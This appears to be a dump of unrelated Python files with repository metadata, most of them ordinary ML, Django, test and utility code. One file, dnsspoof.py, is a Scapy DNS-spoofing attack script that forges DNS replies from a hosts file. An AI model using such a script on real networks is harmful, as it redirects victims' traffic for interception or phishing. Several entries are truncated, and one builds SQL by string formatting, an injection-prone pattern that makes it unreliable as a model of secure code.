from sklearn.model_selection import train_test_split
# GPU setup
gpus = tf.config.experimental.list_physical_devices(... |
a238175c94764137bfc8fac1ce67436016b1591a | 56939ddccf722903ef6cc7ebc6aa85ee6b80b6dc | /orders/admin.py | e62f80d137a3b22a01fcc9ddb9478fc4d01d389c | [] | no_license | Colibri7/felix_shop | d519b038446a49fc33cb1ce1c9108291e949c848 | d9d635ad7797505503b56df2b36b4333bfa86b31 | refs/heads/master | 2023-07-21T03:30:36.714548 | 2021-08-30T11:03:53 | 2021-08-30T11:03:53 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 180 | py | admin.py | from django.contrib import admin
from orders.models import OrderModel
@admin.register(OrderModel)
class OrderAdmin(admin.ModelAdmin):
list_display = ['first_name', 'phone']
|
36c0dedd20245be73002336c9960c01be6541f65 | 850b63a103520e36a35796ff872714a7eff94672 | /finding_donors-master/ensamble.py | 84322826cb902ce2a670f02b95e9bea43d3d2580 | [] | no_license | Aleric-w/mechine-learning | 335502552a124068646db0f7c16726e47dee1c7e | 2ea0d27add9c6480ea58e0e55249b77ada39b40e | refs/heads/master | 2022-11-07T14:27:26.491218 | 2018-05-10T06:15:22 | 2018-05-10T06:15:22 | 108,705,538 | 0 | 1 | null | 2022-11-01T22:11:59 | 2017-10-29T04:39:59 | HTML | UTF-8 | Python | false | false | 6,332 | py | ensamble.py | # -*- coding: utf-8 -*-
"""
Created on Tue Dec 19 10:56:56 2017
@author: wangpeng02
"""
# -*- coding: utf-8 -*-
"""
Created on Fri Nov 17 14:53:00 2017
@author: wangpeng02
"""
import warnings
import numpy as np
import pandas as pd
from scipy.sparse import coo_matrix
from scipy.sparse import csr_matrix
from sklearn... |
7e479024d2ca87ab5a5656a2cba90a59a3a05493 | 1e82343083300fc6a8d81c2b0628b7f22a254a0a | /06_test/my_calc_class.py | 10e06745e6b1c69a2f1f0a6c7ae746aca3fb1edd | [
"BSD-2-Clause"
] | permissive | zzz0072/Python_Exercises | e6b6e71550551c3d35844a2c85f35209252f815f | 9918aa8197a77ef237e5e60306c7785eca5cb1d3 | refs/heads/master | 2020-12-24T14:27:10.216002 | 2015-01-11T02:04:57 | 2015-01-11T02:04:57 | 18,864,894 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 929 | py | my_calc_class.py | #/usr/bin/env python
import unittest
class my_calc:
def my_add(self, x, y):
return x + y
def my_sub(self, x, y):
return x - y
def my_mul(self, x, y):
return x * y
def my_div(self, x, y):
return x / y
class test_func(unittest.TestCase):
def setUp(self):
self.m... |
274a3d9a530a06a545295060158265a32b1aa63c | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03146/s950522444.py | b3fd5c69547e0df1a869b51e215550a6cf2b0dd8 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 166 | py | s950522444.py | s = int(input())
a = [s]
for i in range(1, 1000001):
s = s//2 if s%2 == 0 else 3*s+1
if s in a:
print(i+1)
break
else:
a.append(s) |
fdbdb91dd2739dd642e46f5c41257f44021469a6 | 3e3e6a3cc350210d16395642880b7e3a2c6bd0a1 | /CV/Histogram.py | 54fdde745564887a4ff18c49379a4eb72c622f40 | [] | no_license | HeeEun9/Project | 3e73f0e11ce728d64b0e16a0edb2ad45ef33d67d | 307fed09a47ba4ee743be8155f30d1a85f6b80ed | refs/heads/main | 2023-07-03T07:45:00.735618 | 2021-08-07T12:33:21 | 2021-08-07T12:33:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,104 | py | Histogram.py | # 히스토그램 정규화
import cv2
import numpy as np
import matplotlib.pylab as plt
#그레이 스케일로 영상 읽기
img = cv2.imread('tem4.jpg')
#직접 연산한 정규화
img_f = img.astype(np.float32)
img_norm = ((img_f - img_f.min()) * (255) / (img_f.max() - img_f.min()))
img_norm = img_norm.astype(np.uint8)
#OpenCV를 이용한 정규화
img_norm2 = cv2.normalize(im... |
056ad9ed1f075dfe39c7566bdd4f31f0673adbce | 16f3db6edef00d245030505c78b41cb4be70022f | /clientimage.py | 58aa8aff926164176a7e9aa17b16d62add067f83 | [] | no_license | putriwuland17/python_flask | 2275ef6dd65dec294263f452d6d31f1fde33c127 | 6344a81cc1f92617b114c0cc7940e0a8d4e8b85b | refs/heads/main | 2023-04-28T07:58:18.699749 | 2021-05-22T16:07:53 | 2021-05-22T16:07:53 | 369,827,885 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 171 | py | clientimage.py | import requests
resp = requests.post("http://localhost:5000/predict",
files={"file":open('C://olahcitra//kelinci.jpg','rb')})
print(resp.json()) |
af4c9f34ebbf93743c8aab0a76b800d24e4661bb | 9b6ef63b59ae5641836def92a93ccff78f958183 | /tests/tdynamic_bwt.py | d053010f67dfed3e27ca37e1702487792bbdb1f6 | [
"LicenseRef-scancode-warranty-disclaimer"
] | no_license | disa-mhembere/Guided-Assembler | ba4bfa58a86f5ed5895048258be215c2f230e6c6 | af9eae6e4fbf38507fc413fb7d5613e9ab558766 | refs/heads/master | 2021-01-16T21:52:11.556773 | 2014-05-06T16:02:34 | 2014-05-06T16:02:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,704 | py | tdynamic_bwt.py | #!/usr/bin/python
# tdynamic_bwt.py
# Created by Disa Mhembere on 2013-12-06.
# Email: disa@jhu.edu
# Copyright (c) 2013. All rights reserved.
from src.dynamic_bwt import dBWT
def test_move_row():
""" Test the functionality of dbwt moverow """
print "Testing dBWT.moverow ..."
f = dBWT("CGTAACGT")
print "Be... |
5acf99afe3974eeb820206317aa5ae30c7bc69da | 2084fd977b41983d3e7039e55dccabc3140c123b | /scripts/slave/recipe_modules/chromite/__init__.py | 61c65372ad71a089d4e64d57c68d6aca2e38e661 | [
"BSD-3-Clause"
] | permissive | eunchong/build | 14c0404ac3a9821bd88513afbc315ab18dbdd0ab | 4e95fd33456e552bfaf7d94f7d04b19273d1c534 | refs/heads/master | 2021-01-21T14:06:13.614193 | 2016-05-28T05:12:07 | 2016-05-28T05:12:07 | 55,701,415 | 0 | 1 | NOASSERTION | 2020-07-23T11:05:04 | 2016-04-07T14:29:36 | Python | UTF-8 | Python | false | false | 237 | py | __init__.py | DEPS = [
'depot_tools/bot_update',
'depot_tools/gclient',
'depot_tools/git',
'gitiles',
'recipe_engine/json',
'recipe_engine/path',
'recipe_engine/properties',
'recipe_engine/python',
'repo',
'recipe_engine/step',
]
|
3fbf250e8ed5fc37353193b7930aa92c2dce9c85 | 020a43e781c19f0e6177c0b1be2a4ad75fb9bfbf | /wce_triage/backend/disk_portal_instance.py | 6455b58d58776e2b73a564fc00fb65a88662b874 | [
"MIT"
] | permissive | ntai/wce-triage-v2 | f2a29a93656647eb21c166d260daf3cd8560864e | 108802602ab8495b388fc2c8a395608233e19eed | refs/heads/master | 2023-08-02T16:25:29.311539 | 2023-04-08T03:11:38 | 2023-04-08T03:11:38 | 187,088,190 | 3 | 2 | MIT | 2023-07-20T15:04:06 | 2019-05-16T19:20:48 | Python | UTF-8 | Python | false | false | 68 | py | disk_portal_instance.py | from ..components.disk import DiskPortal
disk_portal = DiskPortal()
|
7bcd18203068e402c7cb9394eb3359bf7aad559e | 72141a527aeca59b2afb68d84f027ecb475a0142 | /tull/node.py | 0beb908552d2c38a327fd993d3d0f0c33d7e42b6 | [] | no_license | borgebj/IN1000-Python | 4d4a102032b6d15887d33a889dd029fea500ea1e | ffa686d11116d315dca7962e7a6c3e3767e0d720 | refs/heads/master | 2021-01-04T04:45:00.223550 | 2020-12-09T20:06:09 | 2020-12-09T20:06:09 | 240,392,581 | 0 | 0 | null | 2020-12-09T20:06:10 | 2020-02-14T00:00:45 | Python | UTF-8 | Python | false | false | 2,649 | py | node.py | ## Klasse for representasjon av noder i en dataklynge
#
class Node:
## Oppretter en node med gitt minne-storrelse og antall prosessorer
# @param minne GB minne i den nye noden
# @param antPros antall prosessorer i den nye noden
def __init__(self, minne, antPros):
pass
... |
efe7234ef67c823d870ff3710f4f566aabccc96d | ad638c443eb942d5b93cc2ea3a0d88317031a185 | /rating_network/predict_classification.py | 09e18bbc08fd6c91c89c1e703b6c36cc7c5a4da2 | [] | no_license | Spacetoaster/Viewport-CNN | 3de4b7cc0649eab14b62f3eb6c972e785749c349 | 25f73cf45e46a4bbe1a556f3e68f76be587a62dc | refs/heads/master | 2021-07-17T10:35:17.936884 | 2017-10-25T13:13:46 | 2017-10-25T13:13:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,249 | py | predict_classification.py | """ prediction with a trained rating-model (classification) on a tfrecords-file """
import argparse
import tensorflow as tf
import ratings_reader
from networks import *
from tf_helper.network import Network
import sklearn.metrics
import pickle
def parseArguments():
parser = argparse.ArgumentParser(description='P... |
c65e03f570993723e7a9b9d2721db065f605bfff | 2af946f45eaefbb9652428544c2f5cc6fff16f46 | /02-Math/math_1.py | 63fa0ce0a6ce9c38faca6d7c987c2ed26597e87f | [] | no_license | lmxuwork/dp_demo_code | 7bee467b16f68bdf9e3dc28dacd2344c54a71e33 | 4ef5b08032d8a187c7241496a0805b9bdd0a1367 | refs/heads/master | 2021-03-10T22:56:28.090374 | 2020-03-12T05:41:25 | 2020-03-12T05:41:25 | 246,492,937 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,600 | py | math_1.py |
#第二天： 数学作业
import numpy as np
import matplotlib.pyplot as plt
import matplotlib
# 引入中文字库
matplotlib.rcParams['font.sans-serif'] = 'SimHei'
#01 读取数据： “homework.npz”
file = np.load("homework.npz")
X = file['X']
d = file['d']
#02 预处理：数据中是否存在异常数据，并进行排除, 空。
#03 观察：观察给定数据X与d的形式，并进行绘图
# print("X Shape:{}; d Shape:{}".f... |
4fa653c06404baf509870a5941c963eb75223188 | 05647253a2532b3c2b321e362e534c2533fcfdc3 | /QDeblend/gui/dlgSaveCubes.py | d2599d03fcdbed875e46cbe5d606d9f4341c2f28 | [
"MIT"
] | permissive | brandherd/QDeblend3D | d5f97ab627285866dec332b77ab596376877af3e | 4e195ca027cf9fb65962ce66bf5d1f3e119b4f18 | refs/heads/main | 2023-02-14T17:29:27.386551 | 2021-01-08T13:08:00 | 2021-01-08T13:08:00 | 326,937,217 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,746 | py | dlgSaveCubes.py | import os
from PyQt4.QtCore import *
from PyQt4.QtGui import *
from QDeblend.ui import ui_dlgSaveCubes
class dlgSaveCubes(QDialog, ui_dlgSaveCubes.Ui_dlgSaveCubes):
def __init__(self, QSOcube, EELRcube, parent=None):
super(dlgSaveCubes, self ).__init__(parent)
self.setupUi(self)
self.QSOC... |
8b43aa281a076b97b5da752aee58b908f8688e6d | b1c1c67921914d2b942fc9c2bec5b1c11f5d0072 | /tests/GitLab/test_gitlab_merge_request.py | c70bf870edfc9ea34968d966a51e9df4aecc0b2e | [
"MIT"
] | permissive | theendsofinvention/igit | 365ddf7eef0454b12d9a1dbd207915e174de115d | 2ae1a60a19fbc3b83191358a1ea7482623050f6e | refs/heads/master | 2021-06-11T00:53:28.405637 | 2020-06-25T08:26:46 | 2020-06-25T08:26:46 | 155,460,007 | 0 | 0 | MIT | 2021-03-19T04:24:09 | 2018-10-30T21:42:15 | Python | UTF-8 | Python | false | false | 7,226 | py | test_gitlab_merge_request.py | import os
import datetime
from IGitt.GitLab import GitLabOAuthToken
from IGitt.GitLab.GitLabMergeRequest import GitLabMergeRequest
from IGitt.GitLab.GitLabUser import GitLabUser
from IGitt.Interfaces import MergeRequestStates
from IGitt.GitLab.GitLabProjectMilestone import GitLabProjectMilestone
from tests import IGi... |
60ad3d652312fc600228cdb5f89ccdf84551d109 | da7eb8a9e9d207c481f19f980c7481b727e8ba85 | /times.py | d800ce25c23aa668d0e97c608124d36c157b2f3f | [] | no_license | 26cs099/suhacodekata | 766a3eb4986e9b35d6bd87cc9ebfe67a47dee19d | c60427bd491de28d554ab838a45e6669d72974a6 | refs/heads/master | 2020-05-23T01:00:55.148526 | 2019-08-07T10:38:13 | 2019-08-07T10:38:13 | 186,580,711 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 82 | py | times.py | # your code goes here
a=str(input())
n=int(input())
for i in range(0,n):
print(a) |
bdc51a0631ed9c5617d1ecc434e8bf31b8f2a84e | e58a972b9aac2041b1efb70efe64bd4681438efc | /app/models/Inscription.py | bddf95455a42c982961848897580f5c03023253e | [] | no_license | epigraphic-database-heidelberg/linked_open_data | e3afbdc252e94d12b8efe6e60716a3c8fee397d1 | a33685f77ba4303f7bcbed8899291d6e9f0bccc9 | refs/heads/master | 2020-05-09T10:16:06.113621 | 2020-01-29T09:49:01 | 2020-01-29T09:49:01 | 181,034,699 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,167 | py | Inscription.py | from rdflib import Graph
from SPARQLWrapper import SPARQLWrapper, JSON
class Inscription:
def __init__(self,
hd_nr,
provinz,
land,
bearbeiter,
datum,
beleg,
**kwargs):
prop_defaults = {
... |
4e0e92f0c5695e39a59b2bda0df5895d89466661 | 7cc00759622cfd2616024d6035dda68c2528a72e | /codes/attacker codes/dnsspoof.py | 434094ea96bb8180b7732f092047e675666e9a83 | [] | no_license | voebe25/NTMIDS | 6affeab1bba83a61ab940728d195e4a95ec5f145 | b0ffcbf9ff80129ed943f48d25306b5ea6a7befe | refs/heads/master | 2021-01-11T16:04:24.748361 | 2017-01-29T05:09:31 | 2017-01-29T05:09:31 | 79,999,610 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 977 | py | dnsspoof.py | from scapy.all import *
hosts = {}
for line in open("hostfile.txt","r"):
line = line.rstrip("\n")
if line:
(ip,host) = line.split()
hosts[host] = ip
def packet_handler(packet):
ip = packet.getlayer(IP)
udp = packet.getlayer(UDP)
dns = packet.getlayer(DNS)
if dns.qr == 0 and dns.opcode... |
ad2f584ee074116da4537ded1249ece5da7102dc | 91c702af361deb5301c7f7f420cd09383480878a | /gastrack/partsplit.py | b0e62aebe06e6443cc43f3379c85492e4b3dd3ce | [
"MIT",
"CC-BY-3.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | myinxd/gastrack | 88baff1972d21c48cfd5419a0f6136b029c7e28b | da2f7390eace2ba231f6d3b28968be0ca7331a44 | refs/heads/master | 2021-01-12T11:44:49.618338 | 2017-11-24T01:17:37 | 2017-11-24T01:17:37 | 72,290,045 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,391 | py | partsplit.py | # Copyright (C) 2016 Zhixian MA <zxma_sjtu@qq.com>
# MIT license
"""
This module split simulated galaxy particles hdf5 file into two sub
hdf5 files.
"""
import os
import re
import h5py
import numpy as np
class PartSplit:
"""
The partticle split class
Parameters
----------
input_dir: string
... |
df77249b0cb3594256ed3b90774a7547d72a8e9c | fb16a2a07ab5ee75cf828655add4b918a93c4597 | /algo-2/test_3.py | 86d3517bf1f9798e0abc152c6cd8e45c9dd6e534 | [] | no_license | felixzhao/WordSegmentation | d04f4728caf79d996bce4ac60e8385ee87a88514 | b16bbcbc07a9115e630126e0f25ffba1f3b92e6d | refs/heads/master | 2021-01-01T15:59:52.544328 | 2014-01-23T06:32:29 | 2014-01-23T06:32:29 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 302 | py | test_3.py |
from left_process import *
if __name__ == '__main__':
s = 'u1 b c'.split()
W_d = ['hbc','hb']
C_d = {'u1':['h','u']}
Expected = 3
Actual = process_in_s(s, 0, W_d, C_d)
print >> log, Actual
print >> log, Actual == Expected
print Actual
print Actual == Expected |
f37854fc69420aa5daa8de399f8aaada7a5c4f0f | c98d259c515b573f6f21af0eaddf71b01f5c103d | /viewer_app/tests/test_data_source.py | 3990450655529cc96f394710cc620c33104dd8d8 | [] | no_license | ArushiJeloka/scouting2020 | e12fb0e1f5c7e744c823631f40e6682cf07a9dcd | bf5d2975c69ecf97d8af0e2da0461133710b6fdf | refs/heads/master | 2021-01-14T15:40:19.307426 | 2020-02-24T06:26:44 | 2020-02-24T06:26:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,316 | py | test_data_source.py | import os
import os.path
import pandas as pd
import viewer_app.data_source as va_data_source
import viewer_app.oneteam as va_oneteam
test_event_name = 'test_event_2'
test_season = '2020'
test_file_name = r'\data_write_test.pickle'
def test_data_source():
data = va_data_source.DataSource(event=test_event_name,
... |
0d058955965aeb1719b4c57cdf3728ffa5168992 | ae93e168fc26e82d69fc6573b39bc87eaa1a2d40 | /code/code1.py | 05a92fa35ffaf2f4cd55ffd5dd35023d47c38131 | [
"CC0-1.0"
] | permissive | Daniel-M/doconce_demo | 2f8a5aa572668042cd027c2380bcd6ab4f606d4e | 8466d3ac24d95a9c8c11e69682c2784a70fc69fd | refs/heads/master | 2021-06-22T10:47:15.169857 | 2017-09-07T06:12:54 | 2017-09-07T06:12:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 80 | py | code1.py | total = 0
for number in range(10):
total = total + (number + 1)
print(total)
|
dbeea0486aee9bfdf0485dd5dfce4f1bc1cdcd15 | 69405f722fef7c6d5da88792fa7888eff5e1356c | /blog/views.py | 8faa6365f600d94973d74b2b52359955087a21e1 | [] | no_license | qiwsir/practice | c646f5ae9c3d17ce4bd28fb5acf8229a93ab34ad | 040e1064027e4618fcf1042ea203fdf8ed4fcc17 | refs/heads/master | 2021-01-19T06:42:25.885371 | 2016-10-03T13:20:24 | 2016-10-03T13:20:24 | 59,896,719 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,796 | py | views.py | from django.shortcuts import render
from django.http import HttpResponse
from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger
from django.db.models import F
from django.views.generic.list import ListView
from django.views.generic.edit import FormView
from django.views.generic.detail import DetailV... |
a4b1de4a2fdda195096e181fb92355f562d02f8a | 543876fe5e7e13108cdb569af16da8d1630a1717 | /ripechilliapp/urls.py | f6201c8d5174aa19222d071a185ba1d7c2405681 | [] | no_license | AnasNadeem/ripechilli | bc4e0d4a4e270b413153408e2113077154ad97a0 | 7c05957e98fd8319d3c93ad4fff34c1c8606ddf3 | refs/heads/main | 2023-08-12T06:58:38.571754 | 2021-10-14T09:30:28 | 2021-10-14T09:30:28 | 337,769,451 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 588 | py | urls.py | from django.urls import path
from .views import SampleView, WebView, LogoView, AboutView, IndexView, ContactView, intern, mailSendCom
urlpatterns = [
path('', IndexView.as_view(), name='Index'),
path('webSample/', SampleView.as_view(), name='WebSamples'),
path('logo/', LogoView.as_view(), name='Logo'),
... |
f38cc00ad82a413b76647c5caa88fe1251c98cc1 | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_248/ch5_2020_03_09_10_55_08_754962.py | 95daa6ed5a77754b4b3fa033ddf3371c9050dc82 | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 84 | py | ch5_2020_03_09_10_55_08_754962.py | def libras_para_kg(x):
y=x/2.2046
return y
fx=libras_para_kg(1000)
print(fx) |
3a32beabd1a1590874a868dda28e06a64bd5e0b7 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_201/2816.py | 449c4629a7bea879fa2b5163d45823e49c653677 | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 738 | py | 2816.py | import heapq
def lower_median(t):
# lower exclusive
# higher inclusive
return (t[0]+t[1]+1)/2
def partition(t):
lm = lower_median(t)
return (t[0],lm-1),(lm,t[1])
def size(t):
return t[1]-t[0]
T = int(raw_input())
for t in xrange(T):
n, k = map(int,raw_input().split(' '))
heap = [(-n,0... |
71e1be43326c49aca3c03fcd644e1f3c4c37d7cc | 1f289a05064f75a69577be7797db5e23cff31b79 | /appengine/swarming/server/task_scheduler_test.py | a917bad15f896a92c675d7ae028d600f666fee32 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | mellowdistrict/luci-py | f7081100e4269b96f8f8f60bd70d20479cd9507c | a2349b78d2dce6aa4e131e6f7afaa202ccd72ea8 | refs/heads/master | 2020-12-25T22:20:20.957384 | 2016-04-28T23:45:31 | 2016-04-28T23:45:31 | 57,380,794 | 1 | 0 | null | 2016-04-29T11:56:59 | 2016-04-29T11:56:59 | null | UTF-8 | Python | false | false | 58,397 | py | task_scheduler_test.py | #!/usr/bin/env python
# Copyright 2014 The LUCI Authors. All rights reserved.
# Use of this source code is governed by the Apache v2.0 license that can be
# found in the LICENSE file.
import datetime
import inspect
import logging
import os
import random
import sys
import unittest
import test_env
test_env.setup_test_e... |
6b97f2d66fd829668e91f923a50a981c81c40ab6 | 1a9dc873bff5570831b61d57d0e256e95097ed43 | /Controller Modules/screen2.py | ab53c0ba05450794f29a017b435d23071a0019dc | [] | no_license | KastureeK/Mood-based-Music-Recommendation-System | 0faefae01a66ff9d4b1c230cc049923b0e207439 | d78e29283ca69a0dfb8c6035af4c80eabea39a0a | refs/heads/main | 2023-08-23T03:37:27.043275 | 2021-10-23T09:15:41 | 2021-10-23T09:15:41 | 420,348,209 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 547 | py | screen2.py | from Controls import apiconnect,camera
from database import usermood
import os,sys
from datetime import datetime
def camera1(userid):
camob = camera.camera()
camob.capture("temp.jpg")
r = apiconnect.connectandget("temp.jpg")
hour = datetime.now()
period=hour.hour
print r
moodob = usermood.a... |
0e28235e132f7eba2e1d8992c3759f3f8e745fb1 | efdfb4ee822eac81e982dd632fb349722dbefee3 | /check_max_player.py | 853ee59c44b5a052238979d1b7a21ae5938ab901 | [] | no_license | jy-cds/robustRL_LQGames | da0c0ee08f17d21e412d2069e70b4fbd0fdbcc60 | 7fa29a7cc9a88458b53143608ce6148478ed2aae | refs/heads/master | 2023-01-23T22:45:05.497820 | 2020-11-24T07:08:37 | 2020-11-24T07:08:37 | 314,677,353 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,572 | py | check_max_player.py |
import numpy as np
import scipy.linalg as LA
import matplotlib.pyplot as plt
from potential import DP_inv, DP,D2P
from functions import gradient, proj
import statistics
# DATA
# A = np.array([[0.956488, 0.0816012,-0.0005],[0.0741349, 0.94121, -0.000708383],[0,0,0.132655]])
# B = np.array([[-0.00550808], [-0.096], [0.... |
3fc42bc85ccf7807fbdc03db9fd7d317494a8fe7 | 18460831de74f4d0a8d363b4b4967c9f05945432 | /tests/unit/aws/test_batch.py | d3e3a452446d5f91fb5cf350b8c9d05a9bba541a | [] | no_license | bitintheskud/python-utils | 919c79f055029490c8e0b4b9cdd1a07cf5d339ae | ee9fbf20aa6c25b79af32fab0953ba799cb2a94e | refs/heads/master | 2023-01-11T10:03:05.080262 | 2020-11-17T20:22:20 | 2020-11-17T20:22:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,305 | py | test_batch.py | from unittest import TestCase
import botocore.session
from botocore.stub import Stubber
from qa_python_utils.aws.batch import BatchClient
class AWSBatchTest(TestCase):
def setUp(self):
self.batch_session = botocore.session.get_session().create_client('batch')
self.batch_stubber = Stubber(self.ba... |
b2e57561fa269bfb7ea8b573368bf74a912308ff | 3466f755cae93d2b58e8ee69b00c42b493236dc0 | /SQL_local_training/SQLALchemy - NOT WORKING/update_database_SQLITE3.py | 1853edce6c04cb9867cacd8df8a78b3b5ca213f6 | [] | no_license | Ondrej-Martinek/Dash | 6c60d37e449c453bc6bd8732efc254bc90de9df0 | d2fef51f65d4b88a87e5e25d9abf763c8504eb90 | refs/heads/master | 2023-02-18T15:53:49.028805 | 2021-01-09T18:29:01 | 2021-01-09T18:29:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,019 | py | update_database_SQLITE3.py | import sqlite3
import os
import pandas as pd
basedir = os.path.dirname(os.path.abspath(__file__))
path = str(basedir)+'/data.db'
conn = sqlite3.connect(path)
c = conn.cursor()
url = 'https://www.cnb.cz/cnb/STAT.ARADY_PKG.VYSTUP?p_period=1&p_sort=1&p_des=50&p_sestuid=1538&p_uka=1%2C2%2C3&p_strid=AAD&p_od=200512&p_do=... |
0fc7b60f131f14c518067c3f8bee117547e45d85 | cc98f0527bf94a70cf8327b1ee9e1bc66f9f9fde | /delete.py | a48d059686028f1ee295683bd805e355b2faacf6 | [] | no_license | radensyarif/Python-MYSQL | a2914a0067fed6b92fb59572c4bfdf6ff050d82f | f7ed9bdc76e8935aa80728ee924ecb43d2071bce | refs/heads/master | 2020-04-24T07:27:50.582859 | 2019-02-21T04:22:55 | 2019-02-21T04:22:55 | 171,799,678 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 426 | py | delete.py | #!/usr/bin/python
import MySQLdb as mdb
import sys
con = mdb.connect('localhost', 'USERNAME MYSQL', 'PASSWORD MYSQL', 'DATABASE MYSQL');
cur = con.cursor()
sql = "DELETE FROM `user` WHERE `id` = '%s'" % ("6")
try:
cur.execute(sql)
con.commit()
print "Hapus Data Berhasil"
print cur._last_executed
except:
con... |